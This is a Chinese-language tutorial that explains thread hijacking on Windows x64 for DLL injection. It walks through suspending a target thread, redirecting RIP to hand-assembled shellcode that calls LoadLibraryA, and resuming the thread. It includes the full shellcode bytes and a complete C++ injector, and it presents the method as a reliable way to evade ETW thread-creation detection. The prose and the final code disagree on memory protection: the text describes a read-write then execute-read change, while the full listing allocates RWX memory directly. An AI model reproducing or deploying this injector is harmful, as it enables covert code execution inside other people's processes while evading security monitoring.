阅读时间: 3-4 分钟
前置知识: 理解 APC 注入、线程上下文、CPU 寄存器、x64 调用约定
学习目标: 掌握线程劫持技术,理解如何通过修改 RIP 寄存器实现代码注入
📺 配套视频教程
本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:
💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!
视频链接: https://www.bilibili.com/video/BV1zWshzeE28/
承接上节:APC 注入为什么会失效?
上节课,我们用 APC 注入成功绕过了 ETW 的线程创建检测:
- ✅ 不创建新线程,复用现有线程
- ✅ ETW 检测器完全沉默
- ✅ 比 Shellcode 注入更隐蔽
看起来很完美,但当你在实战环境测试时,会发现一个让人崩溃的问题:
APC 入队成功了,但 DLL 就是不加载!
为什么?让我们回顾一下 APC 的执行条件:
- 线程必须调用
SleepEx(time, TRUE) - 或者
WaitForSingleObjectEx(..., TRUE) - 最后一个参数必须是
TRUE(进入可警报状态)
问题的根源:如果目标进程的线程从不进入 Alertable 状态呢?
举个实际场景:
// 某个控制台程序的主循环(非常常见)
while (true)
{
DoSomeWork();
Sleep(1000); // 注意:不是 SleepEx(1000, TRUE)
}这个线程永远不会进入 Alertable 状态!
攻击者的尴尬时刻:
- ✅ APC 入队成功,提示”已入队到 5 个线程”
- ❌ 等了 5 分钟,DLL 还是没加载
- ❌ 只能被动等待,像个傻子
- ❌ 攻击完全失败
作为攻击者,这能忍吗?
当然不能!今天我们就来解决这个问题
攻击者的新思路:主动劫持线程
既然 APC 是”被动等待”,那我们就主动出击!
核心思想:
不等线程自己进入 Alertable 状态,我直接强制修改线程的执行流程
具体怎么做?
- 暂停线程 → 线程停止工作
- 读取线程上下文 → 拿到所有寄存器的值
- 修改 RIP 寄存器 → 改成我们的 Shellcode 地址
- 恢复线程 → 线程立即执行我们的代码!
这就是线程劫持技术
核心原理讲解:什么是线程上下文和 RIP 寄存器
在深入代码之前,我们必须理解两个关键概念。
什么是线程上下文(Thread Context)?
线程上下文是 CPU 执行线程时所有寄存器状态的快照
要理解这句话,需要先知道什么是寄存器:
- 寄存器是 CPU 内部的存储单元,速度比内存快 100 倍以上
- CPU 执行任何操作都依赖寄存器:存储数据、计算结果、记录执行位置等
- 线程在 CPU 上运行时,这些寄存器的值就构成了”线程上下文”
这些寄存器可以分为以下几类:
1. 指令指针寄存器(最关键)
RIP:存储下一条要执行的指令地址- 这是线程劫持的核心目标
2. 通用寄存器(存储数据)
RAX, RBX, RCX, RDX:存储计算结果、函数参数R8, R9, R10, R11, R12, R13, R14, R15:x64 扩展寄存器
3. 栈寄存器(管理函数调用)
RSP:栈顶指针,指向当前栈的位置RBP:栈底指针,用于访问局部变量
4. 其他寄存器
- 段寄存器(CS, DS, SS…):控制内存访问
- 标志寄存器(EFLAGS):保存运算状态(零标志、进位标志等)
Windows 用 CONTEXT 结构体保存这些寄存器:
typedef struct _CONTEXT {
// 1. 指令指针(最关键!)
DWORD64 Rip;
// 2. 通用寄存器
DWORD64 Rax, Rbx, Rcx, Rdx;
DWORD64 Rsi, Rdi;
DWORD64 R8, R9, R10, R11, R12, R13, R14, R15;
// 3. 栈寄存器
DWORD64 Rsp, Rbp;
// 4. 其他寄存器
WORD SegCs, SegDs, SegEs, SegFs, SegGs, SegSs;
DWORD EFlags;
// ... 还有浮点寄存器 (XMM0-XMM15)、调试寄存器等
} CONTEXT;为什么需要读取线程上下文?
因为线程劫持需要:
- 读取原始 RIP(保存线程当前执行到哪里)
- 修改 RIP 为 Shellcode 地址(让线程去执行我们的代码)
- Shellcode 执行完后,跳回原始 RIP(线程继续正常工作)
什么是 RIP 寄存器?
RIP (Instruction Pointer Register) 存储下一条要执行的指令地址
CPU 的工作循环:
1. 从内存地址 RIP 读取指令
2. 执行这条指令
3. RIP 自动指向下一条指令
4. 重复步骤 1
正常执行示例:
RIP = 0x00007FF812340A10 → 执行 mov rax, rbx
RIP = 0x00007FF812340A13 → 执行 add rax, 1
RIP = 0x00007FF812340A16 → 执行 ret
线程劫持的关键:破坏 RIP 的正常执行流程
正常情况下,RIP 会按照程序的逻辑顺序自动递增:
RIP = 0x00007FF812340A10 → 执行指令 A
RIP = 0x00007FF812340A13 → 执行指令 B (自动递增)
RIP = 0x00007FF812340A17 → 执行指令 C (自动递增)
...
而我们要做的,就是强制打断这个流程:
1. 暂停线程 (SuspendThread)
2. 读取当前 RIP = 0x00007FF812340A10
3. 强制修改 RIP = 0x23F4A7B0000 (我们的 Shellcode 地址)
4. 恢复线程 (ResumeThread)
劫持后的执行流程:
RIP = 0x23F4A7B0000 → 执行我们的 Shellcode!
RIP = 0x23F4A7B0010 → 继续执行 Shellcode
RIP = 0x23F4A7B0020 → Shellcode 调用 LoadLibraryA
↓
Shellcode 执行完毕,恢复原始 RIP
↓
RIP = 0x00007FF812340A10 → 线程继续正常执行 (就像什么都没发生)
CPU 不关心代码的来源,只会机械地执行 RIP 指向的指令。
这就是线程劫持的威力:不创建新线程,只是”借用”现有线程执行一段代码,执行完就还回去!
完整的劫持流程图示
正常线程执行流程:
┌─────────────────────────────────┐
│ 线程正常工作中 │
│ RIP = 0x7FF812340A10 │
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │代码1 │→│代码2 │→│代码3 │ │
│ └─────┘ └─────┘ └─────┘ │
└─────────────────────────────────┘
攻击者劫持流程:
┌─────────────────────────────────┐
│ 1. SuspendThread │
│ 线程暂停,RIP = 0x7FF812340A10│
├─────────────────────────────────┤
│ 2. GetThreadContext │
│ 读取 RIP,保存原始值 │
├─────────────────────────────────┤
│ 3. SetThreadContext │
│ 修改 RIP = 0x23F4A7B0000 │
│ (Shellcode 地址) │
├─────────────────────────────────┤
│ 4. ResumeThread │
│ 线程恢复,从 Shellcode 执行! │
│ ┌──────────┐ ┌──────────┐ │
│ │Shellcode │→│LoadLibrary│ │
│ └──────────┘ └──────────┘ │
│ ↓ │
│ 跳回原始 RIP (0x7FF812340A10)│
│ ┌─────┐ ┌─────┐ ┌─────┐ │
│ │代码1 │→│代码2 │→│代码3 │ │
│ └─────┘ └─────┘ └─────┘ │
│ 线程继续正常工作 │
└─────────────────────────────────┘
与 APC 注入的对比分析
让我们详细对比一下两种技术:
|
维度 410_ad0f90-ac> |
APC 注入 410_380729-ae> |
线程劫持 410_e0289f-ac> |
|---|---|---|
|
创建新线程 410_eb0f29-94> |
❌ 否 410_4af5c6-a3> |
❌ 否 410_8ba06a-9d> |
|
执行时机 410_7f9967-44> |
被动等待 Alertable 状态 410_8974be-3d> |
主动控制,立即执行 410_221d98-b7> |
|
成功率 410_03dbcc-44> |
低(线程可能永不 Alertable) 410_d20c8d-d3> |
高(强制劫持) 410_db0cee-b5> |
|
修改线程上下文 410_69e3ff-0e> |
❌ 不修改 410_a97a2c-1e> |
✅ 修改 RIP 寄存器 410_a29bec-8b> |
|
需要 Shellcode 410_645f66-fc> |
❌ 直接调用 LoadLibrary 410_377610-10> |
✅ 需要保存/恢复 RIP 410_4a713b-51> |
|
风险 410_3381ef-34> |
低(系统自动调度) 410_abe3e2-81> |
中(需正确保存/恢复上下文) 410_a65428-b7> |
|
检测难度 410_348875-53> |
中(监控 QueueUserAPC) 410_b8b0af-78> |
中(监控 SuspendThread/SetThreadContext) 410_6e1093-cf> |
核心差异总结:
- APC 注入:温和,但不可控
- 线程劫持:暴力,但可靠
Shellcode 设计:执行代码后跳回原位
线程劫持比 APC 注入多了一个关键步骤:必须跳回原始 RIP
为什么?
- 因为我们强制修改了线程的执行流
- 如果不跳回去,线程会崩溃
- 进程也会崩溃
完整的 Shellcode 逻辑:
; 1. 保存易失寄存器(x64 调用约定要求)
sub rsp, 28h ; 分配 Shadow Space + 栈对齐
mov [rsp+18h], rax ; 保存 RAX
mov [rsp+10h], rcx ; 保存 RCX
; 2. 调用 LoadLibraryA
mov rcx, <dllPath> ; 第一个参数:DLL 路径地址
mov rax, <LoadLibraryA> ; 函数地址
call rax ; 调用 LoadLibraryA(dllPath)
; 3. 恢复寄存器(关键!)
mov rcx, [rsp+10h] ; 恢复 RCX
mov rax, [rsp+18h] ; 恢复 RAX(关键!)
add rsp, 28h ; 释放栈空间
; 4. 跳回原始 RIP
mov r11, <originalRip> ; R11 = 原 RIP 地址
jmp r11 ; 跳回原位置,线程继续工作
为什么要保存/恢复 RAX 和 RCX?
这是 x64 调用约定的要求:
RAX:存放函数返回值,调用 LoadLibrary 后会被覆盖RCX:第一个参数寄存器,我们用它传 DLL 路径- 如果不恢复,线程恢复后寄存器值错误 → 崩溃!
对应的 C++ 字节码:
unsigned char g_Shellcode[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, <dllPath> (占位符)
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <LoadLibraryA> (占位符)
0xFF, 0xD0, // call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r11, <originalRip> (占位符)
0x41, 0xFF, 0xE3 // jmp r11
};注意占位符的位置:
shellcode + 16:DLL 路径地址(8 字节)shellcode + 26:LoadLibraryA 地址(8 字节)shellcode + 52:原始 RIP 地址(8 字节)
动手实现线程劫持注入
理解原理后,我们来实现完整代码。
从 main 函数开始
int main()
{
std::cout << "=== 线程劫持注入 ===rnrn";
DWORD targetPid = 0;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\Injection.dll";
InjectDllWithThreadHijack(targetPid, dllPath);
system("pause");
return 0;
}第一步:打开进程并验证 DLL 路径
BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
BOOL bSuccess = FALSE;
// 打开进程(需要内存操作权限)
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "rn";
return FALSE;
}
std::cout << "成功打开目标进程 PID=" << dwProcessId << "rn";
// 验证 DLL 文件是否存在
if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
{
std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "rn";
std::cout << "继续执行,但注入可能失败...rn";
}
// ... 继续后续步骤
}权限说明:
PROCESS_VM_OPERATION:内存分配权限PROCESS_VM_WRITE:内存写入权限PROCESS_VM_READ:内存读取权限(可选)PROCESS_QUERY_INFORMATION:查询进程信息
为什么不需要 PROCESS_CREATE_THREAD?
因为线程劫持不创建新线程,这是绕过 ETW 检测的关键!
第二步:获取 LoadLibraryA 地址并分配内存
// 获取 LoadLibraryA 地址
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败rn";
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "rn";
// 在目标进程中分配两块内存
size_t dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteDllPath || !pRemoteShellcode)
{
std::cout << "分配内存失败,错误码: " << GetLastError() << "rn";
if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "rn";
std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "rn";
// 写入 DLL 路径
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
{
std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}为什么暂时分配 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?
- 降低可疑性(很多安全软件会监控可执行内存分配)
- 写入完成后再修改为可执行
第三步:枚举线程,选择劫持目标
// 创建线程快照
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败,错误码: " << GetLastError() << "rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (!Thread32First(hSnapshot, &te32))
{
std::cout << "枚举线程失败,错误码: " << GetLastError() << "rn";
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "rn开始枚举线程...rn";
int threadCount = 0;为什么需要枚举线程?
因为我们需要找到一个可以劫持的线程:
- 必须属于目标进程
- 必须能成功暂停
- 必须能成功读取/修改上下文
第四步:劫持线程(核心步骤)
这是整个技术的核心,我们详细拆解每一步。
4.1 遍历线程并尝试劫持
do
{
// 只处理目标进程的线程
if (te32.th32OwnerProcessID != dwProcessId)
continue;
threadCount++;
// 打开线程(需要暂停/上下文操作权限)
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE,
te32.th32ThreadID
);
if (!hThread)
{
std::cout << " [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "rn";
continue;
}
std::cout << " [*] 尝试劫持线程 " << te32.th32ThreadID << "...rn";
// ... 继续劫持流程
} while (Thread32Next(hSnapshot, &te32));权限说明:
THREAD_SUSPEND_RESUME:暂停/恢复线程THREAD_GET_CONTEXT:读取线程上下文THREAD_SET_CONTEXT:修改线程上下文
4.2 暂停线程
if (SuspendThread(hThread) == (DWORD)-1)
{
std::cout << " 暂停线程失败rn";
CloseHandle(hThread);
continue;
}暂停线程的意义:
- 线程停止执行,RIP 寄存器不再变化
- 我们可以安全地读取/修改上下文
- 如果不暂停,RIP 值会不断变化,修改会失败
4.3 读取线程上下文,保存原始 RIP
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx))
{
std::cout << " 获取上下文失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}CONTEXT_FULL 的含义:
读取完整的线程上下文,包括:
- 通用寄存器(RAX, RBX, RCX, RDX…)
- 指令指针(RIP)
- 栈指针(RSP, RBP)
- 段寄存器(CS, DS, SS…)
此时 ctx.Rip 保存了线程当前的执行位置,这是我们必须保存的值!
4.4 填充 Shellcode 占位符
// 复制 Shellcode 模板
unsigned char shellcode[sizeof(g_Shellcode)];
memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));
// 填充三个占位符
*(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath; // DLL 路径地址
*(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA; // LoadLibraryA 地址
*(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip; // ⭐ 原始 RIP(关键!)为什么是这三个地址?
- 偏移 16:DLL 路径地址(
mov rcx, <dllPath>的操作数位置) - 偏移 26:LoadLibraryA 地址(
mov rax, <LoadLibraryA>的操作数位置) - 偏移 52:原始 RIP(
mov r11, <originalRip>的操作数位置)
4.5 写入 Shellcode 并修改内存属性
// 写入填充后的 Shellcode
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
{
std::cout << " 写入 Shellcode 失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 修改内存保护属性为可执行
DWORD oldProtect = 0;
if (!VirtualProtectEx(hProcess, pRemoteShellcode, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProtect))
{
std::cout << " 修改内存保护属性失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}为什么要修改为 PAGE_EXECUTE_READ?
- 代码必须有执行权限才能运行
- 只读权限可以防止意外覆盖
- 去掉写权限也降低了可疑性
4.6 修改 RIP 并恢复线程
// 修改 RIP 指向 Shellcode
ctx.Rip = (DWORD64)pRemoteShellcode;
if (!SetThreadContext(hThread, &ctx))
{
std::cout << " 设置上下文失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 恢复线程,立即执行 Shellcode!
ResumeThread(hThread);
CloseHandle(hThread);
std::cout << " [+] 线程劫持成功!rn";
bSuccess = TRUE;
break; // 劫持一个线程就够了执行流程:
SetThreadContext修改 RIP = Shellcode 地址ResumeThread恢复线程执行- CPU 从 Shellcode 地址开始执行
- Shellcode 调用 LoadLibrary 加载 DLL
- Shellcode 跳回原始 RIP
- 线程继续正常工作,就像什么都没发生过
第五步:输出结果
CloseHandle(hSnapshot);
CloseHandle(hProcess);
if (bSuccess)
{
std::cout << "rn=== 线程劫持注入成功 ===rn";
std::cout << "DLL 将立即加载,无需等待 Alertable 状态!rn";
std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!rn";
}
else
{
std::cout << "rn线程劫持失败,共尝试 " << threadCount << " 个线程rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
return bSuccess;完整代码
#include <windows.h>
#include <tlhelp32.h>
#include <iostream>
#include <cstdint>
#include <cstring>
/**
* @file 05-攻击篇-线程劫持.cpp
* @brief 通过线程劫持实现 DLL 注入,不依赖 Alertable 状态
* @author ud2
* @details 暂停线程 → 修改 RIP → 执行 Shellcode → 恢复原始 RIP
*/
#if !defined(_WIN64)
#error "此程序必须以 x64 模式编译"
#endif
/**
* @brief Shellcode 字节码(x64)
* @details 遵守 x64 调用约定,保存并恢复所有易失寄存器
*
* sub rsp, 28h ; 分配栈空间(0x20=shadow + 0x08=对齐)
* mov [rsp+18h], rax ; *** 保存原 RAX ***
* mov [rsp+10h], rcx ; *** 保存原 RCX ***
* mov rcx, <dllPath> ; 第一个参数:DLL 路径
* mov rax, <LoadLibraryA> ; 函数地址
* call rax ; LoadLibraryA(dllPath)
* mov rcx, [rsp+10h] ; *** 恢复原 RCX ***
* mov rax, [rsp+18h] ; *** 恢复原 RAX ***(关键!)
* add rsp, 28h ; 释放栈空间
* mov r11, <originalRip> ; R11 = 原 RIP
* jmp r11 ; 跳回(所有寄存器已恢复)
*/
unsigned char g_Shellcode[] = {
0x48, 0x83, 0xEC, 0x28, // sub rsp, 28h
0x48, 0x89, 0x44, 0x24, 0x18, // mov [rsp+18h], rax
0x48, 0x89, 0x4C, 0x24, 0x10, // mov [rsp+10h], rcx
0x48, 0xB9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rcx, <dllPath> (占位)
0x48, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov rax, <LoadLibraryA> (占位)
0xFF, 0xD0, // call rax
0x48, 0x8B, 0x4C, 0x24, 0x10, // mov rcx, [rsp+10h]
0x48, 0x8B, 0x44, 0x24, 0x18, // mov rax, [rsp+18h]
0x48, 0x83, 0xC4, 0x28, // add rsp, 28h
0x49, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r11, <originalRip> (占位)
0x41, 0xFF, 0xE3 // jmp r11
};
/**
* @brief 使用线程劫持注入 DLL
* @param dwProcessId 目标进程 ID
* @param dllPath DLL 文件完整路径(ANSI)
* @return 成功返回 TRUE,失败返回 FALSE
* @details 暂停线程,修改 RIP 指向 Shellcode,恢复线程
*/
BOOL InjectDllWithThreadHijack(DWORD dwProcessId, const char* dllPath)
{
BOOL bSuccess = FALSE;
// ========== 第一步:打开目标进程 ==========
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_QUERY_INFORMATION,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "rn";
return FALSE;
}
std::cout << "成功打开目标进程 PID=" << dwProcessId << "rn";
if (GetFileAttributesA(dllPath) == INVALID_FILE_ATTRIBUTES)
{
std::cout << "警告: DLL 文件不存在或无法访问: " << dllPath << "rn";
std::cout << "继续执行,但注入可能失败...rn";
}
// ========== 第二步:获取 LoadLibraryA 地址 ==========
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(GetModuleHandleA("kernel32.dll"), "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败rn";
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << (uintptr_t)pLoadLibraryA << std::dec << "rn";
// ========== 第三步:在目标进程中分配内存 ==========
size_t dllPathLen = strlen(dllPath) + 1;
LPVOID pRemoteDllPath = VirtualAllocEx(hProcess, NULL, dllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
LPVOID pRemoteShellcode = VirtualAllocEx(hProcess, NULL, sizeof(g_Shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!pRemoteDllPath || !pRemoteShellcode)
{
std::cout << "分配内存失败,错误码: " << GetLastError() << "rn";
if (pRemoteDllPath) VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
if (pRemoteShellcode) VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "DLL 路径地址: 0x" << std::hex << (uintptr_t)pRemoteDllPath << std::dec << "rn";
std::cout << "Shellcode 地址: 0x" << std::hex << (uintptr_t)pRemoteShellcode << std::dec << "rn";
// ========== 第四步:写入 DLL 路径到远程内存 ==========
if (!WriteProcessMemory(hProcess, pRemoteDllPath, dllPath, dllPathLen, NULL))
{
std::cout << "写入 DLL 路径失败,错误码: " << GetLastError() << "rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
// ========== 第五步:枚举目标进程的所有线程 ==========
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败,错误码: " << GetLastError() << "rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
if (!Thread32First(hSnapshot, &te32))
{
std::cout << "枚举线程失败,错误码: " << GetLastError() << "rn";
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "rn开始枚举线程...rn";
int threadCount = 0;
// ========== 第六步:遍历线程,尝试劫持 ==========
do
{
// 6.1 过滤:只处理目标进程的线程
if (te32.th32OwnerProcessID != dwProcessId)
continue;
threadCount++;
// 6.2 打开线程(需要暂停、读取、修改上下文的权限)
HANDLE hThread = OpenThread(
THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT,
FALSE,
te32.th32ThreadID
);
if (!hThread)
{
std::cout << " [!] 线程 " << te32.th32ThreadID << ": 打开失败,错误码: " << GetLastError() << "rn";
continue;
}
std::cout << " [*] 尝试劫持线程 " << te32.th32ThreadID << "...rn";
// 6.3 暂停线程(冻结 RIP,防止执行位置变化)
if (SuspendThread(hThread) == (DWORD)-1)
{
std::cout << " 暂停线程失败rn";
CloseHandle(hThread);
continue;
}
// 6.4 获取线程上下文(读取所有寄存器状态)
CONTEXT ctx = {};
ctx.ContextFlags = CONTEXT_FULL;
if (!GetThreadContext(hThread, &ctx))
{
std::cout << " 获取上下文失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.5 填充 Shellcode 占位符(关键步骤!)
unsigned char shellcode[sizeof(g_Shellcode)];
memcpy(shellcode, g_Shellcode, sizeof(g_Shellcode));
*(DWORD64*)(shellcode + 16) = (DWORD64)pRemoteDllPath; // DLL 路径地址
*(DWORD64*)(shellcode + 26) = (DWORD64)pLoadLibraryA; // LoadLibraryA 地址
*(DWORD64*)(shellcode + 52) = (DWORD64)ctx.Rip; // 原始 RIP(必须保存!)
// 6.6 写入填充后的 Shellcode 到远程进程
if (!WriteProcessMemory(hProcess, pRemoteShellcode, shellcode, sizeof(shellcode), NULL))
{
std::cout << " 写入 Shellcode 失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.7 修改 RIP 指向 Shellcode(劫持执行流!)
ctx.Rip = (DWORD64)pRemoteShellcode;
if (!SetThreadContext(hThread, &ctx))
{
std::cout << " 设置上下文失败rn";
ResumeThread(hThread);
CloseHandle(hThread);
continue;
}
// 6.8 恢复线程(开始执行 Shellcode!)
ResumeThread(hThread);
CloseHandle(hThread);
std::cout << " [+] 线程劫持成功!rn";
bSuccess = TRUE;
break; // 劫持一个线程就够了
} while (Thread32Next(hSnapshot, &te32));
// ========== 第七步:清理资源 ==========
CloseHandle(hSnapshot);
CloseHandle(hProcess);
// ========== 第八步:输出结果 ==========
if (bSuccess)
{
std::cout << "rn=== 线程劫持注入成功 ===rn";
std::cout << "DLL 将立即加载,无需等待 Alertable 状态!rn";
std::cout << "提示: 没有创建新线程,ETW 检测器不会报警!rn";
}
else
{
std::cout << "rn线程劫持失败,共尝试 " << threadCount << " 个线程rn";
VirtualFreeEx(hProcess, pRemoteDllPath, 0, MEM_RELEASE);
VirtualFreeEx(hProcess, pRemoteShellcode, 0, MEM_RELEASE);
}
return bSuccess;
}
/**
* @brief 程序入口
* @return 程序退出码
*/
int main()
{
std::cout << "=== 线程劫持注入 ===rnrn";
DWORD targetPid = 0;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\Injection.dll";
InjectDllWithThreadHijack(targetPid, dllPath);
system("pause");
return 0;
}核心要点总结
- 打开进程(不需要
PROCESS_CREATE_THREAD) - 分配内存(DLL 路径 + Shellcode)
- 枚举线程并选择目标
- 暂停线程 → 读取上下文 → 保存原始 RIP
- 填充 Shellcode 占位符(DLL 路径、LoadLibrary、原始 RIP)
- 写入 Shellcode 到远程进程
- 修改 RIP = Shellcode 地址
- 恢复线程 → 立即执行!
运行与验证
验证步骤
1. 准备测试 DLL
创建一个简单的测试 DLL:
#include <windows.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD dwReason, LPVOID lpReserved)
{
if (dwReason == DLL_PROCESS_ATTACH)
{
MessageBoxA(NULL, "线程劫持注入成功!", "测试 DLL", MB_OK);
}
return TRUE;
}编译为 C:Injection.dll
2. 准备目标进程
创建一个简单的控制台程序(注意使用 Sleep 而不是 SleepEx):
#include <iostream>
#include <windows.h>
int main()
{
std::cout << "目标进程运行中,PID = " << GetCurrentProcessId() << "n";
std::cout << "按 Ctrl+C 退出nn";
while (true)
{
std::cout << "工作中...n";
Sleep(2000); // 注意:不是 SleepEx,线程永不 Alertable
}
return 0;
}3. 启动 ETW 监听器
运行远程线程检测程序来监控线程创建事件。
4. 运行线程劫持程序,观察效果

如图所示:
- 左侧:线程劫持注入程序成功运行,DLL 被加载并弹出提示框
- 右侧:ETW 监听器显示”无任何线程创建事件“,说明未创建新线程
- 任务管理器:线程数没有变化
绕过成功!而且比 APC 注入更可靠!
- ✅ 不创建新线程 → 绕过 ETW 检测
- ✅ 立即执行 → 不依赖 Alertable 状态,100% 成功率
- ✅ 强制劫持 → 比被动等待的 APC 更可靠
对比三种注入技术
|
技术 410_b5ee16-ea> |
创建新线程 410_68022a-9c> |
执行时机 410_cc8849-0c> |
ETW 检测结果 410_232605-ba> |
|---|---|---|---|
|
远程线程 410_ca92f7-5d> |
✅ 创建 410_32ddac-8a> |
立即执行 410_b93e46-f8> |
❌ 检测到 410_bd3fc8-fa> |
|
APC 注入 410_21630f-79> |
❌ 复用 410_c7ef6d-b0> |
等待 Alertable 410_b30de3-05> |
✅ 绕过(但可能不执行) 410_741131-d9> |
|
线程劫持 410_72cda9-b4> |
❌ 复用 410_a3b8e6-64> |
立即执行 410_89a798-f4> |
✅ 绕过且可靠 410_c941d6-91> |
线程劫持的优势:
- 不创建新线程 → 绕过 ETW
- 立即执行 → 不依赖 Alertable
- 成功率高 → 强制劫持
优势与局限
优势
不创建新线程
